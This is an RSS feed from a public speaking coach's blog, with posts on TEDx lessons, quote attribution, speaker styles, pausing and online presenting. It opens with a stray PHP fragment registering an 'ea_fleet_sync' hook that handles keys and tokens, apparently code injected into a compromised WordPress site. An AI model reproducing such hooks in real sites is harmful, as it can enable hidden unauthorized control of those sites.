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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Now you're talking Archives - Now you're talking https://www.nowyouretalking.co.uk/tag/now-youre-talking/ Public speaking Sat, 06 Jan 2024 17:37:06 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 TED says – 5 elements of standout talks https://www.nowyouretalking.co.uk/2024/01/08/ted-says-5-elements-of-standout-talks/ Mon, 08 Jan 2024 09:00:13 +0000 https://www.nowyouretalking.co.uk/?p=1584 TED says that standout talks happen when good preparation meets confident delivery and connection to bring us ideas worth spreading. Giving a TEDx Talk has long been an ambition of mine and I was ready to put in the work…

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]]> TED says that standout talks happen when good preparation meets confident delivery and connection to bring us ideas worth spreading.

Giving a TEDx Talk has long been an ambition of mine and I was ready to put in the work and deliver my idea worth spreading.

What I hadn’t realised was how challenging the experience would be and the learnings I would derive.

TED says is what Lyn Roseaman learnt giving her TEDxTalk at TEDxLewisham.

Here are my five things TED shows us.

TED says 1 – Find your TED idea worth spreading

TED talks are no different from any talk or presentation in that they all need a clear message, an idea worth spreading, that the audience will value; a message that will effect change in what they think, feel and do in relation to the subject.

Without this clarity, it’s hard to assemble the right content so that it delivers a clear and memorable message.

If you can’t sum up your message in a few words, it almost certainly needs more thought. And if YOU can’t sum up your message in a few words, your audience has no chance.

The message of my TEDx Talk was that loneliness ruins lives and we all have a responsibility to try and smash the loneliness pandemic. I embedded this message – the problem and the solution – in a memorable anchor phrase, ‘Loneliness shatters. Community matters.’

Please enjoy and comment on my TEDx Talk, ‘Reach out and smash the loneliness pandemic’.

TED says 2 – Better together

Nothing thrills me more than teamwork, so why treat a TEDx Talk any differently?

I made myself a list of people whose advice I cherish, both as friends and speakers. Then I approached each one to see if they’d like to help. Some of us met on Zoom, some of us met in person for dinner or coffee, some showed up on the day to watch the speech live.

We brainstormed ideas, evolved a speech and shared feedback to craft and hone my talk.

And the most wonderful thing for me was when everyone who helped expressed an interest in staying involved beyond an initial meeting. Their continuous help and support was inspirational.

So, never be afraid to ask for help. Fresh perspectives and ideas are always useful, along with a healthy dose of sense checking, feedback and encouragement. TED shows us that we are definitely better together.

TED says 3 – Make your practice real

It’s too easy to practise a talk in front of a mirror or record and playback, whatever your preference. But the important thing is to create a sense of reality that will ramp up the nerves of being in front of an audience and give you a better idea of how everything is working for you.

In front of a mirror, I was great! Word perfect. As soon as I went in front of people, whether in a Zoom meeting, trying it out in a café or delivering at a TEDxLewisham dress rehearsal, I fell apart. At one such event, my knees were shaking so much, I thought I was going to fall over. Every time, I would suddenly lose my way and forget what I wanted to say.

Time to remember that preparation is about internalising, not memorising, a speech. Reminding myself of my speech route map, I was liberated from my script and free to read the room, interact with my audience and sound relaxed, natural and conversational.

TED says 4 – Unpick the nerves

From an anxiety point of view, giving a TEDx Talk was one of the hardest things I’ve ever done. As an experienced speaker, I was a bit shocked by my reactions and wanted to understand better what was happening to me.

The two main negative voices in my head that are always likely to give me a hard time are the “perfectionist” and the “hyper-achiever”. And I was feeding them both.

In my capacity of public speaking coach, I think I gave too much weight to the TEDx opportunity and the importance in my head of doing a good job. My hyper-achiever was out with a vengeance, with an internal monologue that repeatedly told me, ‘If you mess up, what does it say about you as a coach?’

TED was my dream and everything was unravelling, but I wasn’t giving in that easily! I had to find a way to enjoy my moment on the TEDx “red dot”.

TED says 5 – Enjoy the moment

On the day, I was surrounded by fellow speakers and lovely friends. The mutual support and encouragement were phenomenal.

As I took to the stage, wrapped in their warm and positive vibes, I reminded myself that I had a speech I was proud of , with a relevant and relatable message.

I looked around the audience, raised my hand and began…

‘Hands up if you’ve ever felt lonely’. Up went a strong show of hands and we were off… speaker and audience together. We enjoyed sharing relatable experiences and I thoroughly enjoyed sharing my stories.

TED shows us that to bring a speech or presentation to life in an engaging and memorable way needs a clear idea worth spreading, preparation, confidence and, above all else, connection with your audience.

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]]> Change matters in our talks and presentations https://www.nowyouretalking.co.uk/2023/10/27/change-matters-in-our-talks-and-presentations/ Fri, 27 Oct 2023 12:56:55 +0000 https://www.nowyouretalking.co.uk/?p=1579 Change matters to speakers. Our job when we give talks and presentations is to create change – change what our listeners think, feel or do about our subject. I recently gave a TEDx Talk about what we can do about…

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]]> Change matters to speakers. Our job when we give talks and presentations is to create change – change what our listeners think, feel or do about our subject.

I recently gave a TEDx Talk about what we can do about loneliness.

Lyn Roseaman giving a TEDxTalk inviting people to change their thoughts, feelings and actions about loneliness

 

It was a talk full of stories from my childhood and the present day, inviting people to change how they handle loneliness and pull together to help smash the loneliness pandemic.

Loneliness is shattering lives, especially young people’s lives. It could happen to any of us, at any time. Hiding under the duvet might seem like a great solution, but withdrawing from the world only makes things worse. Difficult and painful as it is, we need to reach out.

Presenting the case that “Loneliness shatters” and “Community matters”, I seek to change what my audience thinks, feels and does about loneliness.

Inspired by memories of my childhood and growing up in the community of a care home owned and run by my mum, I invite my audience to discover bite-sized ways to help us smash the “loneliness pandemic”. Change matters!

This talk was given at a TEDx event using the TED conference format but independently organised by a local community.

You can listen to the full talk here.

Love to hear your thoughts.

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]]> Beware the quote https://www.nowyouretalking.co.uk/2023/09/10/beware-the-quote/ Sun, 10 Sep 2023 08:55:48 +0000 https://www.nowyouretalking.co.uk/?p=1566 Beware the quote. Our favourite social media platforms are awash with them. I can think of two big reasons to be careful with quotes: 1.  They can feel really repetitive and clichéd as the same thoughts appear over and over…

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]]> Beware the quote. Our favourite social media platforms are awash with them.

Quote from Dorothy Sayers about how quotes save you from having to have original thoughts

I can think of two big reasons to be careful with quotes:

1.  They can feel really repetitive and clichéd as the same thoughts appear over and over again.

2.  Quotes need checking. Misattribution is common.

For instance, Maya Angelou is often credited with this quote:

‘They may forget what you said, but they will never forget how you made them feel.’

It seems the actual author was Carl W Buehner. Beware the quote source.

Quote Investigator is a good online place to start checking quotes, especially those you find on the Internet rather than read yourself in an original book.

In my recent TEDxTalk, the early drafts ended with this quote:

‘Never doubt that a small group of thoughtful, committed citizens can change the world. Indeed, it’s the only thing that ever has’ (Margaret Mead).

I eventually replaced Margaret Mead’s words with my own anchor phrase – ‘Loneliness shatters. Community matters’. It’s memorable and the audience joined me in the connection sweet spot by chorusing the last word of my talk with me.

If giving talks and presentations is an act of thought leadership and changing what people think, feel and do, then beware the quote.

Your original thoughts and words have greater sincerity and power to make a difference than trotting out other people’s quotes we’ve probably heard before.

Thanks to The Knowledge for the Dorothy Sayers quote.

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]]> What’s your speaker style? https://www.nowyouretalking.co.uk/2023/08/20/whats-your-speaker-style/ Sun, 20 Aug 2023 11:41:56 +0000 https://www.nowyouretalking.co.uk/?p=1526 ‘Always be a first-rate version of yourself, instead of a second-rate version of somebody else’ Judy Garland Our speaker style impacts how we appear in front of an audience, how they perceive us, their ability to connect with us and, ultimately,…

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]]>

‘Always be a first-rate version of yourself, instead of a second-rate version of somebody else’

Judy Garland

Our speaker style impacts how we appear in front of an audience, how they perceive us, their ability to connect with us and, ultimately, how they value our talks and presentations. Ideally, our core values and beliefs will remain in place, irrespective of occasion, but specific speaking situations determine the style we choose to adopt, both in terms of the supporting evidence we provide and how we behave during that time.

I tend to think in terms of six styles – Showcaser, Enthuser, Entertainer, PowerPointer, FactGiver and Changemaker.

Lyn Roseaman giving a TEDxTalk at TEDxLewisham

For example, when you’re speaking to a technical audience, they are likely to value more data-driven content, while members of a TED audience will tend to prefer more experiential personal stories and emotive arguments. If you are presenting to your board of directors, a strong air of gravitas and robust arguments will be appropriate, compared with, say, the more entertaining tone of a special occasion speech.

Some styles are more about information and evidence, while others draw more heavily on storytelling and emotional connections. Either way, giving your audience something of value is what should drive your style selection. These styles are not absolute. They are fluid, so you can easily introduce storytelling and emotive material to a data-driven presentation, and add more facts and figures to an experiential piece.

The following styles are designed to indicate ways of presenting that might be appropriate in different speaking situations, with suggestions for optimising their effectiveness. They are about adapting what you’re doing and how you’re doing it, not about changing your authentic self.

The Showcaser speaker style

The Showcaser style aims to challenge an audience’s thinking and make an impression by sharing the speaker’s successes and achievements. If the speaker can do it, so can you – and they’re going to show you how.

As presenters, they tend to be professional, charismatic, confident, well-prepared and engaging. This style may be useful in a sales scenario and might well be adopted by motivational speakers.

However, there is a fine line between delivering value for your listeners, and coming across as a staged, perhaps inauthentic, performance, with a feeling that the audience promise may not be all it claims. If you feel a Showcaser style becoming too ‘staged’, try shifting your focus more towards the Changemaker style, developing a more altruistic and philanthropic angle to increase the value you give. Ensure your stories are audience focused and deliver a clear and relevant message.

The Enthuser style

An enthusiastic and passionate speaker style with so much to share.

Enthusiastic, effusive, authentically and emotionally open to sharing their experiences, this style can be highly desirable in entertaining contexts, such as celebrations, including weddings, civil partnerships, anniversaries, toasts and tributes.

While this style often belies a laudable intention, coming from a desire to share, the enthusiasm can hijack the content of the speech, overlooking a clear message and easy-to-follow structure. This can come across as out of control, as if everything you know on the topic or person is pouring or gushing out of you at high speed.

Effusiveness can be a result of inexperience and/or a lack of audience focus. It’s crucial to be clear on the message for your listeners and to focus on stripping back the amount of content.

The Entertainer

An easy-going and relaxed speaking style, with a sense of fun and humour.

Confident, likeable, authentic and engaging, with strong storytelling skills make it ideal for after-dinner speeches, toasts, tributes, special occasions and celebrations. The ability to bring humour and entertain make a little of this style a useful addition to almost any speaking situation, including a eulogy.

Humour is an integral part of this speaking style, one that is natural and gentle emanating from your personal sense of humour rather than engineered for laughs. Your Entertainer style will probably contain a message, but it should be implicit in the stories and structure, rather than through an explicit call to action.

The PowerPointer style

The PowerPointer style leans heavily on slides as the key to sharing valuable information.

PowerPointer speaker style

Organised, informative, prepared and thorough, this style suits technical or specialist presentations and lectures designed primarily to inform and educate.

Unfortunately, this style often yields slides that are overly detailed and contain unfiltered information at the expense of a clear message. One sign is a reflex reaction to start producing slides almost as soon as you’re invited to speak. Too much detail can leave an audience feeling spoken at, rather than guided meaningfully through the information.

Speakers who depend on their slides as a crutch often feel a need for control, compared with those who introduce a few slides, videos or even props to enrich their message. If you give a lot of talks in this style, check the clarity of your message and associated content and reflect on whether fewer slides/less detail would bring greater value to your listeners.

The FactGiver speaker style

The FactGiver style has data at its core – a fount of all knowledge to inform almost any issue or situation. FactGivers are keen to share reliable and useful evidence, which they assemble conscientiously to offer what they think will be of value to their audience.

Speakers adopting this style seek to be genuinely informative, believing in the value of data and facts, which they share with commitment and enthusiasm, especially useful in company presentations, including project updates, results, board reports and other meetings where there is a need for gravitas and confidence.

The FactGiver style can give the impression that you and your data are one and the same, so that your data become your voice. This style usually sees an absence of (personal) storytelling and other means of emotional appeal and engagement.

As such, using this style, you are less likely to influence how an audience thinks, feels or acts as a result of hearing your speech. This can leave them feeling unsatisfied and hungry for something that goes a little deeper in terms of touching their emotions.

The Changemaker

The Changemaker speaker style focuses on understanding the audience, bringing people together and delivering value and/or change.

Presenters adopting this style tend to be confident, authentic, trustworthy, engaging, memorable, persuasive, inspirational and accomplished storytellers.

Lyn Roseaman giving a TEDxTalk at TEDxLewisham 2023

This style is effective in any situation where you need to persuade or inspire an audience. It’s often adopted in the political arena, motivational speaking, keynotes, job interviews, fundraising, sales and pitches.

It’s important to ensure your stories are firmly anchored to illustrating your message, rather than replacing it. If you find yourself linking a number of stories together without a clear message, your speech will probably be entertaining, but will leave your audience wondering what you want them to take away.

Speaking styles are fluid in terms of how much of each style you bring to your talk or presentation to best meet your audience’s needs. They are also necessarily fluid insofar as the fast pace of change can render the effectiveness of a particular style quite ephemeral. For instance, it wasn’t so long ago that storytelling was for children at bedtime; now it’s an essential part of so much speaking. Whether technology, knowledge of how we connect or the nature of desirable content, speakers need to stay current with what works best for their audiences.

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]]> Just pause – the power of silence; don’t worry about the gap! https://www.nowyouretalking.co.uk/2023/08/20/just-pause-power-of-silence/ Sun, 20 Aug 2023 10:18:10 +0000 https://www.nowyouretalking.co.uk/?p=707 Transport operators could learn a lot from public speakers about the power of the pause and, when used purposefully, the positive impact of silence. We are apparently born with just two fears – fear of falling and fear of LOUD…

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]]> Transport operators could learn a lot from public speakers about the power of the pause and, when used purposefully, the positive impact of silence.

We are apparently born with just two fears – fear of falling and fear of LOUD NOISES.  These two fears are part of our DNA that we pass from one generation to the next as survival mechanisms.  They have one purpose and one purpose only… the preservation of the human race.

MIND THE GAP! Pause - don't mind the gap

Fellow travellers, commuters and everyone who uses public transport in  London, have you stopped listening to those loud and incessant health-&-safety-driven messages. Just pause and please don’t mind the gap.

A while ago now, rail bosses agreed to rid passenger announcements of what they called ‘tosh’, after finding most customers zone out at the first ‘bing-bong’ of the PA system because they consider the information to be largely irrelevant, redundant and repetitive.

Bizarrely, this hasn’t filtered through to TfL.  And to make sure we don’t zone out its pearls of wisdom, TfL has ramped up the volume!

A member of TfL staff once explained to me that the decibel level for its inanities, sorry important messages and announcements, is set at 20% above the ambient sound levels on the platforms or in the trains.  I’m not sure how they gauge the ambient sound, but 20% above seems to vary from…

[VERY QUIETLY] “This train terminates here.  All change.  Thank you for travelling with London Overground.”

… to

[VERY LOUDLY] “This is a customer announcement.  In the interests of security, please keep your luggage and personal belongings with you at all times!  If you see anything suspicious, please tell a member of staff or a police officer.” And now we have the maddening, if well-intentioned addition of “See it. Say it. Sorted!”

One moment, it’s barely audible; the next, [FINGERS IN EARS] “Turn it down, pleeeeease!”

And as if that’s not enough, they seem to want to grind us into the ground by droning on and on and on, relentlessly ignoring the power of the pause!

Please stand behind the yellow line.

Please take extra care with the gap between the train and the platform.  Whatever happened to Mind the Gap?

This is the London Overground Service to Highbury & Islington.  The next station is Canada Water.  Change here for London Underground Jubilee Line.  The next station bit is like a breath of fresh air as the name changes from one stop to the next.

Pause, please! But they don’t stop there!

You must have a valid ticket or Oyster card to use this train.  If you do not, you may have to pay a penalty fare.  Thank you.

Would customers please note that due to a short platform, the rear doors of the last coach will not open.

Would customers please note, you can only alight from the front four coaches as this station has a short platform.

Please ensure that you are travelling in the correct part of the train.  This is coach number 2 of 5.

Every station!  And sometimes in triplicate – just before the station, at the station, on leaving the station!  And if the length of the platform is the only thing that customers should please note, why say the rest!  Would TfL please note, it’s like listening to a robot unravelling! Pause. Take a breath. Stop talking!

No wonder people wear headphones!  Unfortunately, this exacerbates the situation, as TfL ramps up the decibel level even further in an effort to penetrate the passenger sound barrier.

It’s a terrifying experience out there on Transport for London.  I feel utterly bamboozled, battered and bewildered!

But then, sometimes you get lucky and the noise becomes beautiful and humorous sound.  A guard on the Met line recently announced: “I do apologise for the early arrival of this service this morning.  Normal delayed service will be resumed this evening!”

The Jubilee line has a driver who likes to entertain his passengers.  Based on what he sees as people board the train, his dulcet tones have caressed our hearts and ears with things like

Welcome to the Jubilee line this Friday evening.  If you need someone to do your ironing this weekend, have a chat with the lady who has just boarded the third carriage from the front … with an ironing board.  For a sing song, please move to the rear of the train and join the man with his guitar.  I wish I had given the beautiful lady the red roses she is carrying.  Come Monday morning, welcome ladies and gentlemen.  I hope you had a great weekend! These are announcements we can enjoy, humorous messages that make us feel good. And when they have nothing to say, they pause. Silence.

Would TfL please note, drivers can give us so much pleasure

Would TfL please pause, we have no fear of silence

Would TfL please note the rather apposite wisdom of Mark Twain:

“If you have nothing to say, say nothing.”

 

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]]> I’m late! https://www.nowyouretalking.co.uk/2023/02/27/im-late/ Mon, 27 Feb 2023 09:14:00 +0000 https://www.nowyouretalking.co.uk/?p=1503 I’m very rarely late for anything. Meetings, flights, theatre starts or project deadlines. If it’s in my calendar, I’m usually there. But I seem to have spent my life being late for key life events that society generally expects to…

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]]> I’m very rarely late for anything. Meetings, flights, theatre starts or project deadlines. If it’s in my calendar, I’m usually there. But I seem to have spent my life being late for key life events that society generally expects to happen at a certain time.

It all started with a due date. My debut. Expected 14 July in a local village hospital. Cancerian.

In the words of the White Rabbit:

“I’m late, I’m late for a very important date. 

No time to say goodbye, hello, I’m late, I’m late, I’m late.”

2 weeks late, in fact, refusing to come out, running out of oxygen, turning blue, blue flashing lights emergency dash from the village hospital to the North Middlesex in Edmonton. I made it! Late, but not too late. Leo. And technically, I suppose, a Londoner.

The years rolled by and I found myself late going to university. This time was a deliberate plan. Go to Paris to finesse my French while working as a waitress in hotels, before going to Exeter to study French and philosophy.

I got even later as I decided to go to Germany and hone my German, still working in hotels and loving languages.

Not sure what happened, but instead of Exeter I found myself in Scotland, studying hotel, catering and tourism… of course, with some languages thrown in!

Consequently, I was late getting a permanent job. I loved the academic world and just couldn’t tear myself away. Until I decided it doesn’t pay enough! What job could I do? I chose market research because it had the word research in its name and that’s what I’d been doing for most of the previous decade.

As a market researcher I gave a lot of presentations and conference papers. I’d received the cursory presentation skills training. I don’t think it was much help. I was vaguely competent… But certainly not connected or engaging. If only I’d known then what I know now!

And now I’ve realised that I was also late finding my ideal job.

Online, I kept doing these tests to find your ideal job, the one that suits you best. Most seemed to tell me my career choice as a market researcher was number 11 and that there were 10 jobs better suited to me. I wasn’t prepared to pay the money they wanted to reveal my top 10. But after completing my Distinguished Toastmaster, I think I’ve found it.

I started Now You’re Talking my own business as a public speaking coach.

My friend, Sally, heard me doing some one-to-one coaching and I overheard her say “Now there’s a Lyn I haven’t seen for a long time”.

Dream job. Late, but hopefully not too late.

I’m definitely still chasing something, but I’ve no idea what it is! Too late? Watch this space!

PS Bonus tip if you struggle to deliver talks and presentations that run to time

 

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]]> First ever TEDx Lewisham – Oh what a night! https://www.nowyouretalking.co.uk/2022/03/24/first-ever-tedx-lewisham-oh-what-a-night/ Thu, 24 Mar 2022 15:56:12 +0000 https://www.nowyouretalking.co.uk/?p=1439 And Oh what a night! The first ever TEDx Lewisham. A night of Love and Empowerment. As the speakers’ coach for the first ever TEDx Lewisham, I sat in the audience like a proud parent, listening to the very best…

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]]> And Oh what a night! The first ever TEDx Lewisham. A night of Love and Empowerment.

As the speakers’ coach for the first ever TEDx Lewisham, I sat in the audience like a proud parent, listening to the very best version of every speech. It was magical.

The essentials of speeches that make a difference were evident.

Confidence

They were CONFIDENT speakers. They prepared thoroughly. They’d practised alone, in front of family and friends, in front of each other. Over and over. Not a trace of nerves; not a shaky voice to be heard, not even in their opening sentences.

And all seamlessly woven together by our loving and empowering host, ‘Ronke Kokoruwe. Confident speakers are, indeed, frequent speakers, and it showed.

Connection

The CONNECTION between speakers and audience was palpable:

🔴 It was a community event and every speaker lives in Lewisham

🔴 They spoke about real issues that affect us all, that we all care about

🔴 Speaker and audience interacted in that sweetspot where relevant meets relatable

🔴 We embodied diversity. Diverse ideas. Diverse speakers – gender, age, ethnicity, disabled people, work sector… Diverse audience, incl the 3-year-old there to support his mum 😊

🔴 And, sealing the connection, storytelling that was vulnerable, humorous, emotive, had you crying one moment and laughing the next, was warm and inviting, relevant and, above all, memorable

People will be retelling those stories for years and remembering how they made them think and feel.

Change

TED. #ideasworthspreading. As John F Kennedy said, “The only reason to give a speech is to CHANGE the world.”

Every speech was alive with a vision and a clear message to change hearts and minds, change how we now think, feel and act in our own lives.

Every speaker was seen, heard and made an impact.

All directed and curated by the energetic, empowering and caring Rachel Onikosi. She set the bar high and the team brought home the gold!

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]]> Have you got the online mindset? https://www.nowyouretalking.co.uk/2021/06/28/online-mindset/ Mon, 28 Jun 2021 11:11:40 +0000 https://www.nowyouretalking.co.uk/?p=1414 The world’s gone hybrid and we’re adjusting mindsets and skillsets in our play, work, learning… and communication. But we seem to be clinging to our ‘in-the-room’ speaking skills when we need a different mindset to really stand out and be…

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]]> The world’s gone hybrid and we’re adjusting mindsets and skillsets in our play, work, learning… and communication. But we seem to be clinging to our ‘in-the-room’ speaking skills when we need a different mindset to really stand out and be heard online.

Top pitfalls in online talks and presentations include insufficient energy, poor eye contact, lack of clear relevance, monotonous voice, poorly told or no stories, confusing message and structure, and hiding behind slides/PowerPoints.

But what is the online mindset and how do we get it and avoid these pitfalls?

1. You’re in close up and everyone has a front-row seat

Your camera and mic can see and hear everything, but is it what you want your audience in the front row to see and hear?

Before joining a meeting with camera/video on, check:

  • You’re well lit, so your audience can see your face and eyes as they are where we find trust and sincerity
  • You’ve got external and intrusive noise under control
  • You look the part for your close up
  • You’ve decluttered your surroundings, so there’s nothing to divert attention

2. Your audience is home alone

People in a virtual audience often feel left out or alone, even when there are hundreds of people in the same meeting. We need to help them feel involved. Your body language is a good place to start:

  • A warm and genuine smile communicates a relaxed and friendly you
  • Adopt a confident posture that says I’m comfortable and delighted to be here
  • Bring big energy, bigger than you would in the room, so that you can reach into your audience’s home. Dial up vocal interest and passion for your subject to help draw people towards you
  • Steady and direct eye contact builds trust, but it’s hard online because you have to talk to your camera lens, not the faces on your screen

And then draw them in further by creating opportunities to interact through the chat, reactions, breakouts, whiteboards, Q&A, etc. One-way communication only adds to the sense of being home alone.

3. Just because you can see your audience, it doesn’t mean they’re listening

Online audiences show up, physically, thinking ‘What’s In It For Me?’ If you don’t pique their curiosity, their minds will soon drift to their email, Instagram and who knows what else.

We need to be relevant and quickly give our audience a reason to listen. It’s no coincidence that most TV programmes nowadays start with a dramatic happening and when they’ve hooked us in, they roll the credits. Same with your talks and presentations. In most cases, you can save thank you and event protocols until after your opening remarks.

Online, we’re impatient. You’ve got just seconds to grab someone’s attention and demonstrate you have something relevant that they’ll value:

  • Know your audience so you can open with something that matters to them
  • Deliver a clear message that’s new and relevant, for right now
  • Make things easy for them. Less is more online, so strip back your content to the ‘must-have’ information to support your message, and use a clear and easy-to-follow structure

4. It’s just you and the person in the front row

Online, you lose the collective response of an audience being together in the same room as you. Now, it’s just you and your one-to-one connection with each individual member of your audience in their front-row seat.

To achieve connection, we need to be relatable, human to human. The best way we can achieve this is through the stories we tell. Ideally, they:

  • Are relevant to the subject of your talk
  • Draw on your own, real-life experiences
  • Have presence by being told in the here and now, with energy and enthusiasm
  • Are full of dialogue that engages all five senses, delivering energy and presence that narrative can’t achieve
  • Are appropriately edited to make sense and be memorable to an audience hearing them for the first time

And your newfound friend in the front row will help you read the room. Glance and gauge the energy and engagement of a few people and also factor in how you’re feeling, rather than trying to read the reactions of every individual on your screen.

Giving talks and presentations is your opportunity to persuade and inspire, to keep yourself and your organisation visible, and to pay it forward, building our collective knowledge by sharing ideas.

Recognising the online mindset and its impact on what you say and how you say it will make your talks stand out and impact your key target audiences.

First published as guest blog by Comms Rebel

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]]> Speaking online is here to stay https://www.nowyouretalking.co.uk/2020/09/09/speaking-online-is-here-to-stay/ Wed, 09 Sep 2020 08:11:43 +0000 https://www.nowyouretalking.co.uk/?p=1266 Picture this… A two-day annual conference with talks, meetings, online shop and so much more. No auditorium, no chairs, no sounds of delegates networking and no smell of coffee. But an audience of some 800 nonetheless. Behind the scenes, two…

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]]> Picture this…
A two-day annual conference with talks, meetings, online shop and so much more. No auditorium, no chairs, no sounds of delegates networking and no smell of coffee. But an audience of some 800 nonetheless. Behind the scenes, two Zoom meetings. The audience in the first. Speakers, session chairs, tech teams and other officials in the second. And then there were breakout rooms for workshops and briefings. Even though it was a UK event, speakers were streamed in from around the world, no expense spared! When the event went live, the Zoom meeting with multiple rooms, speakers, etc was broadcast into the audience Zoom meeting. And all without a hitch! Speaking online  is here to stay.

The future may be ‘hybrid’, but expectations of how we speak and present online will continue to rise; expectations of speakers to be engaging, relevant and memorable if we want to stay visible, have clients and employees who enjoy working with us, and thrive in our businesses. We need to make time to shine online with the three communication essentials of Confidence, Connection and a message that drives Change.

Confident speaking online 

Confidence is vital online to help your listeners feel they’re in safe hands and can relax and concentrate on what you have to say. If you come across as unduly nervous, people will worry about your wellbeing and may even tune out. To hold their attention, you need to bring confident energy to the screen.

You’re on the small screen

Being online is like having a close up and every member of your audience has a front-row seat. You’re on the small screen and the camera and mic will pick up every detail, expression, gesture and sound. What can your audience see and hear and is it what you want them to see and hear?

Are you looking your best? Ensure your main light source is behind the camera so that you’re neither plunged into shadow nor dazzled by sunlight, making you squint or obliterating your eyes if you wear glasses. Capture a screenshot before you go live and know you look the part. Wearing block colours also make you look strong and professional.

Check your tech

Relying on technology can feel like working with children and animals. With all the checks in the world, things can still go wrong. If they do, keep calm, explain what’s happening and fix the problem. Even better, invite a participant to take care of the tech for you.

In addition, make sure your internet connection is as strong as it can be to minimise buffering.

Share confident energy

Think of all the non-verbal ways you can bring confident energy to the screen. For instance:

  • A genuine smile
  • An open and stable posture that is relaxed and assured
  • Dial down movement and gestures. Online, on the small screen, fidgeting distracts and big gestures that work in a large venue will overwhelm or fall out of view
  • Set the camera at just above eye level and look directly into the lens (not at the faces on your monitor) for open and sincere eye contact, while keeping any double chins at bay!
  • Breathe into the abdomen and relax your upper body so that your vocal tone is rich and strong and you mic doesn’t pick up any sign of nerves in your voice.

Connection when speaking online

Picture people queueing up to talk to you after you’ve given a talk, or piling questions into the chat. They’re there because you’ve connected with them, both in terms of the value you’ve given and the way you’ve made them feel. And online, it’s even more vital. If you want to stand out and have your listeners remember your talk or presentation, you need to connect emotionally with them:

“They may forget what you said, but they will never forget how you made them feel”
Carl W Buehner

What’s In It For Me?

Whether you’re pitching for work, inspiring your team, hosting a meeting or giving a conference paper, it’s your responsibility to know what your listeners are expecting from you and answer their all-important ‘What’s In It For Me’ question – as quickly as possible – so that you are relevant and on the pulse, and they have a reason to carry on listening. This means deep researching your audience so that you understand who they are, what they already know and what makes them tick.

Use inclusive language

Use of ‘you’ helps strengthen the relevance of your talk or presentation and make your listeners feel involved. In the English language, ‘you’ power implies a one-to-one conversation in the singular and, in the plural, includes everyone, creating both a strong feeling of inclusivity and a personal connection. ‘We’ is even stronger, giving the feeling of togetherness, teamwork and co-creation.

Barack Obama understood the power of ‘you’ and ‘we’. In his 2012 presidential election victory speech, he used the personal pronoun ‘I’ 36 times, ‘you/you’re/your’ 55 times and ‘we/us/our’ 97 times.

Stories trump PowerPoints

Human beings are hard wired to connect through storytelling and it comes into its own online. It makes us relatable, likable, engaging and memorable. And all the more so when we tell a relevant personal story, openly and honestly:

In her book  Lyn Roseaman observes:

“Engaging speakers share their message through stories. They can move an audience, even in
business settings, to feel, laugh or cry, and are memorable for all the right reasons”
Lyn Roseaman, ‘Now You’re Talking!’

In stark contrast, sharing your screen and wading through bullet points is neither engaging nor memorable and fast-track to your listeners tuning out. Prioritise relevant storytelling at every opportunity to avoid online fatigue and tedium.

Your message to drive Change

John F Kennedy said “The only reason to give a speech is to change the world.”

Speaking online – meetings, events, conversations – is your opportunity to remain visible, develop fresh ideas and deliver energy and momentum to online experiences.

Message for the moment

Meetings can sometimes lose sight of a clear purpose and message. Starting at the end of your presentation or meeting with how you want people to think, feel or act after they’ve listened to what you have to say will help you stay relevant, show you’re in touch and on point. Identify a message that is new and on point and then incorporate only content that supports it. Make it memorable and end with a call to action that justifies people’s attendance and put plans in place to follow up.

Make life easy when you’re speaking online

Our attention spans are short at the best of times and seemingly even shorter online, so it’s crucial to get to the point and stay relevant. In our enthusiasm for a subject, it’s easy to say too much and overwhelm our listeners along the way. Less is most definitely more online.

Structure and signpost your talk so that it is easy to follow. Choose a clear structure. Break up your presentation into small ‘chunks’ of some five minutes each, and top and tail each chunk with what you plan to cover and a keyword to sum it up as you move on to the next chunk. Signpost what you have to say to let your audience know the ‘road map’ for your talk so it’s clear and easy to follow.

Make it memorable with a rhythmic and rhyming anchor phrase that captures the essence of your talk in ten words or fewer, eg ‘Home is where we start from’ (Aileen Evans) or ‘It’s the world’s thinnest notebook (Steve Jobs).

Interact at every opportunity

In Zoom and Teams, you can create breakouts. Dividing your audience into smaller groups and sending them to separate ‘rooms’ where they can discuss a specific topic and report back to the main meeting engenders both energy and new ideas.

Aiming to make some 70% of the time interactive will make your meetings, talks and presentations more dynamic, relevant and memorable. To help things run smoothly, set ground rules online for listening to each other and not all talking at the same time!

Conclusion

Speaking online convincingly is here to stay. Prepare to go hybrid for the benefit of you and your business. In future we’ll need to shine online AND in physical locations, with our real audience in the same room.

For lots more practical tips and ideas to ace your speaking online, please enjoy my free download, ‘Now You’re Talking Online‘ or find my book, ‘Now You’re Talking – Take your speeches, talks and presentations to a wider audience and a bigger stage‘

A version of this article appeared in ESOMAR’s Research World as ‘Make some time to shine online’ and HR Director as ‘How to give your best performance in your next online presentation’

 

 

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]]> Speak up and make an impact https://www.nowyouretalking.co.uk/2020/05/17/speak-up-essentials-of-a-good-speech/ Sun, 17 May 2020 16:47:46 +0000 https://www.nowyouretalking.co.uk/?p=1051 “There are three essentials of a good speech or presentation – making a connection, having a message that drives change and delivering with confidence.” Now more than ever, being able to speak and present with impact is a fundamental life…

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]]> “There are three essentials of a good speech or presentation
– making a connection, having a message that drives change
and delivering with confidence.”

Now more than ever, being able to speak and present with impact is a fundamental life skill. It’s high on employers’ wish lists; you need it for meetings, networking, pitches and presentations, conference talks and keynotes. Speaking benefits far outweigh the costs, yet many of us turn down speaking opportunities rather than face the challenge and harness the three essentials of a good speech or presentation.

Why speaking is a good idea

Even before the advent of social media, speaking at conferences was part of my strategy for developing the Leisure, Travel and Tourism business area at MORI. And it worked, communicating expertise to large numbers of potential clients in the UK and overseas. The resulting papers provided impactful PR material and raised my personal and research credentials as a go-to sector specialist.

It’s no coincidence that the research industry now has, for example, AQR Young Disruptors, MRS &more and new speaker track at IIeX.

New research among speakers in ‘Now You’re Talking! Take your speeches, talks and presentations to a wider audience and a bigger stage’ sheds light on how we lose out when we shy away from speaking, and the opportunities it can bring to us as individuals, to our businesses and in terms of our collective research knowledge.

First, speaking at events raises your personal profile, especially on social media, showcases who you are and your ideas. It helps build your confidence, influence and reputation which, in turn, attracts opportunities and helps your career.

Second, speaking is also good for your organisation’s credibility and presence, and can bring new business derived from your authority as a speaker of value. Connecting with people who have listened to your conference talk is a less intimidating and warmer approach to new business relationships than a commercial pitch or networking.

